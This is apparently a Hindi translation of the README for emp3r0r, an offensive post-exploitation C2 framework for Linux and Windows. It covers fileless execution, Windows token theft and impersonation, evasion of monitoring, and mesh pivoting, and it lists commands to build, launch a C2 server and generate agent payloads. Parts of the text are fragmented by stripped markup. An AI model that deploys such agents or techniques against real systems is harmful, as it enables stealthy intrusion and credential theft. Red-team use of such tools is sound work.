
स्व-उपचार गॉसिप मेश C2 सहायता प्राप्त पीयर डिस्कवरी, क्रॉस-प्लेटफॉर्म BOF निष्पादन, और स्क्रिप्टेबल एजेंट्स के साथ।
स्व-उपचार गॉसिप मेश C2, जिसमें सहायक पीयर डिस्कवरी, क्रॉस-प्लेटफ़ॉर्म BOF निष्पादन और स्क्रिप्टेबल एजेंट शामिल हैं।
emp3r0r एक उन्नत, ज़ीरो-ट्रस्ट पोस्ट-एक्सप्लॉइटेशन फ्रेमवर्क और कमांड एंड कंट्रोल (C2) प्रणाली है, जिसे Linux और Windows लक्ष्य वातावरण के लिए डिज़ाइन किया गया है। उच्च-सुरक्षा वातावरण में संचालन के लिए ज़मीन से निर्मित, emp3r0r स्वायत्त गॉसिप मेश नेटवर्किंग, फाइललेस मेमोरी-ओनली निष्पादन, क्रॉस-प्लेटफ़ॉर्म BOF लोडिंग, इंटर-एजेंट फ़ाइल ट्रांसफर और इन-मेमोरी स्क्रिप्टेबल एजेंट को संयोजित करता है, ताकि बेहतर स्टील्थ, परिचालन नियंत्रण और परिचालन सुरक्षा (OPSEC) प्रदान की जा सके।
emp3r0r एजेंटों में एक एम्बेडेड Starlark स्क्रिप्टिंग इंजन (एक Python डायलेक्ट जो पूर्ण रूप से Go में लागू किया गया है) शामिल है। स्क्रिप्ट्स बिना लक्ष्य पर Python, Bash या PowerShell स्थापित किए, फाइललेस रूप से मेमोरी में निष्पादित होती हैं।
/bin/sh, powershell.exe) स्पॉन किए बिना या स्थापित रनटाइम पर निर्भर हुए बिना स्टैंडअलोन स्क्रिप्ट्स निष्पादित करता है।read_file, write_file, list_dir, mkdir, remove, exists), HTTP नेटवर्किंग (http_get, http_post), कमांड निष्पादन (exec_cmd) और हैशिंग (crypto_hash) के लिए उजागर फ़ंक्शन।win_call, , , ) निष्पादित कर सकती हैं।यह क्यों मायने रखता है: पारंपरिक C2 स्क्रिप्ट मॉड्यूल्स को होस्ट इंटरप्रेटर या प्रोसेस स्पॉनिंग की आवश्यकता होती है, जिससे डिस्क या कमांड-लाइन निष्पादन के भारी निशान रह जाते हैं। emp3r0r के स्क्रिप्टेबल एजेंट नेटिव सिस्टम इंटरैक्शन के साथ जटिल लॉजिक को पूर्ण रूप से मेमोरी में निष्पादित करते हैं।
emp3r0r एजेंट नामांकन पर सख्त UUID और पब्लिक-की पिनिंग के साथ ट्रस्ट-ऑन-फर्स्ट-यूज़ (TOFU) लागू करता है।
forget_agent के माध्यम से स्पष्ट ऑपरेटर प्राधिकरण आवश्यक है।यह क्यों मायने रखता है: सत्र अपहरण, एजेंट क्लोनिंग और परिचालन वातावरणों में मौन पहचान विचलन को रोकता है।
सभी C2 और पीयर संचार HKDF-व्युत्पन्न सत्र कुंजियों के साथ ECDH कुंजी विनिमय लागू करते हैं।
यह क्यों मायने रखता है: अवरोधित नेटवर्क कैप्चर के पूर्वव्यापी डिक्रिप्शन को रोकता है।
एग्रेस-प्रतिबंधित या पृथक नेटवर्क सेगमेंट में एजेंट स्वायत्त रूप से पीयर खोजते हैं और गॉसिप-आधारित (Memberlist) मेश नेटवर्क के माध्यम से ट्रैफिक टनल करते हैं।
यह क्यों मायने रखता है: सेगमेंटेड नेटवर्कों में पाइवोटिंग निरंतर ऑपरेटर हस्तक्षेप या स्थिर प्रॉक्सी सेटअप की आवश्यकता के बिना स्वायत्त रूप से होती है।
आंतरिक नेटवर्कों में फ़ाइल वितरण को तेज़ करने के लिए P2P रिले ट्रांसपोर्ट (mTLS/KCP) के माध्यम से सीधा एजेंट-से-एजेंट फ़ाइल साझाकरण।
यह क्यों मायने रखता है: प्रत्यक्ष एजेंट-से-एजेंट फ़ाइल साझाकरण ट्रांसफर गति को अधिकतम करता है, नेटवर्क चोकपॉइंट्स को बायपास करता है और प्रत्यक्ष C2 ट्रैफिक दृश्यता को कम करता है।
प्रारंभिक पहुंच और पेलोड वितरण के लिए लचीले स्टेज 0 डाउनलोडर स्टेजर और प्रोटोकॉल लिसनर।
.bin), स्टैंडअलोन ELF निष्पादनयोग्य या शेयर्ड ऑब्जेक्ट्स (.so) में संकलित होता है।Windows और Linux दोनों लक्ष्यों पर इन-मेमोरी बाइनरी मॉड्यूल निष्पादित करें:
int, short, cstr, wstr, binary) के साथ Windows BOF बाइनरी को फाइललेस रूप से चलाएं।.o) को सीधे एजेंट मेमोरी में लोड करें।यह क्यों मायने रखता है: संकलित C मॉड्यूल को इन-प्रोसेस चलाकर प्रोसेस निर्माण का ओवरहेड समाप्त करता है और कमांड-लाइन निगरानी को दरकिनार करता है।
Windows पर एजेंट चल रही प्रक्रियाओं से एक्सेस टोकन चुरा सकते हैं, कैश कर सकते हैं और उनका प्रतिरूपण कर सकते हैं — पूर्ण रूप से इन-प्रोसेस, अप्रत्यक्ष NT syscalls का उपयोग करके।
steal_token --pid <PID> NtOpenProcess + NtDuplicateToken के माध्यम से एक प्रक्रिया टोकन की नकल करता है और उसे SID द्वारा मेमोरी में संग्रहीत करता है। वैकल्पिक रूप से, एक चुराई गई पहचान से दूसरी में एस्केलेट करने के लिए --token <sid> के साथ प्रतिरूपण को श्रृंखलाबद्ध करें।list_tokens सभी कैश्ड टोकन को DOMAIN\User (SID) नामों के साथ प्रदर्शित करता है।--token <sid>) द्वारा एक कैश्ड टोकन का संदर्भ लें। संवेदनशील संचालनों के आसपास थ्रेड-स्तरीय प्रतिरूपण (NtSetInformationThread) लागू किया जाता है।read_file, write_file, exec_cmd, Win32 API प्रॉक्सी, आदि) टोकन सेट होने पर प्रति-syscall स्वचालित रूप से प्रतिरूपण करते हैं, और के माध्यम से चुराई गई पहचान के अंतर्गत चाइल्ड प्रोसेस स्पॉन कर सकता है।यह क्यों मायने रखता है: कोई बाहरी टूल नहीं, कोई डिस्क आर्टिफैक्ट नहीं, कोई प्रोसेस-निर्माण शोर नहीं। टोकन चोरी और पुनः उपयोग अप्रत्यक्ष syscalls का उपयोग करके पूर्ण रूप से इन-प्रोसेस होता है, और चुराए गए टोकन प्रत्येक बिल्ट-इन मॉड्यूल द्वारा तुरंत उपयोग योग्य होते हैं।
http_poll) और HTTP/2 पर स्ट्रीमिंग (h2conn)।emp3r0r बनाने के लिए होस्ट पर Docker या Podman आवश्यक है। किसी स्थानीय Go टूलचेन की आवश्यकता नहीं है।
# Clone repository
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
# Build inside a container and install locally
./install.sh
इंस्टॉलर कोर बाइनरी को एक थ्रोअवे कंटेनर के अंदर संकलित करता है, प्रीकंपाइल्ड emp3r0r-operator-kit.tar.zst उत्पन्न करता है, आवश्यक Linux क्षमताओं (setcap) को कॉन्फ़िगर करता है और सिस्टम रनटाइम निर्देशिकाएँ सेट करता है।
विकल्प:
./install.sh [--debug] [--disable-garble] [--prefix /usr/local] [--skip-build]
C2 सर्वर लॉन्च करें:
emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377
नोट: यदि मानक sudo के बजाय root उपयोगकर्ता के साथ स्थापित किया गया है, तो आपका वर्तमान उपयोगकर्ता emp3r0r लॉन्च करने में सक्षम नहीं हो सकता, क्योंकि इंस्टॉलर द्वारा अनुमतियाँ ठीक से सेट नहीं की जा सकतीं। यही बात आपकी ऑपरेटर मशीनों पर भी लागू होती है।
उत्पन्न emp3r0r-operator-kit.tar.zst को अपनी ऑपरेटर मशीन पर स्थानांतरित करें और इंस्टॉलर चलाएँ:
tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.sh
सर्वर द्वारा मुद्रित WireGuard टनल क्रेडेंशियल्स का उपयोग करके ऑपरेटर क्लाइंट को C2 सर्वर से कनेक्ट करें:
emp3r0r client --c2-port 13377 \
--server-wg-key '<SERVER_WG_KEY>' \
--server-wg-ip '<SERVER_WG_IP>' \
--operator-wg-ip '<OPERATOR_WG_IP>' \
--operator-wg-key '<OPERATOR_WG_KEY>' \
--c2-host 1.2.3.4
पेलोड बनाने के लिए emp3r0r ऑपरेटर इंटरफ़ेस के भीतर generate कमांड का उपयोग करें।
डायरेक्ट C2 एजेंट:
generate --type linux_executable --arch amd64 --cc your.domain.com
मेश गेटवे एजेंट:
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --direct-c2 --p2p-transport mtls
मेश मध्यवर्ती पीयर:
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport mtls --peers 1.2.3.4
यदि emp3r0r आपके सुरक्षा अनुसंधान और परीक्षण में मूल्यवान सिद्ध हुआ है, तो GitHub Sponsors के माध्यम से इसके निरंतर विकास का समर्थन करने पर विचार करें।
win_allocwin_freewin_read_memconfig.json) का उपयोग करके परिभाषित किया जाता है।exec_cmdCreateProcessWithTokenW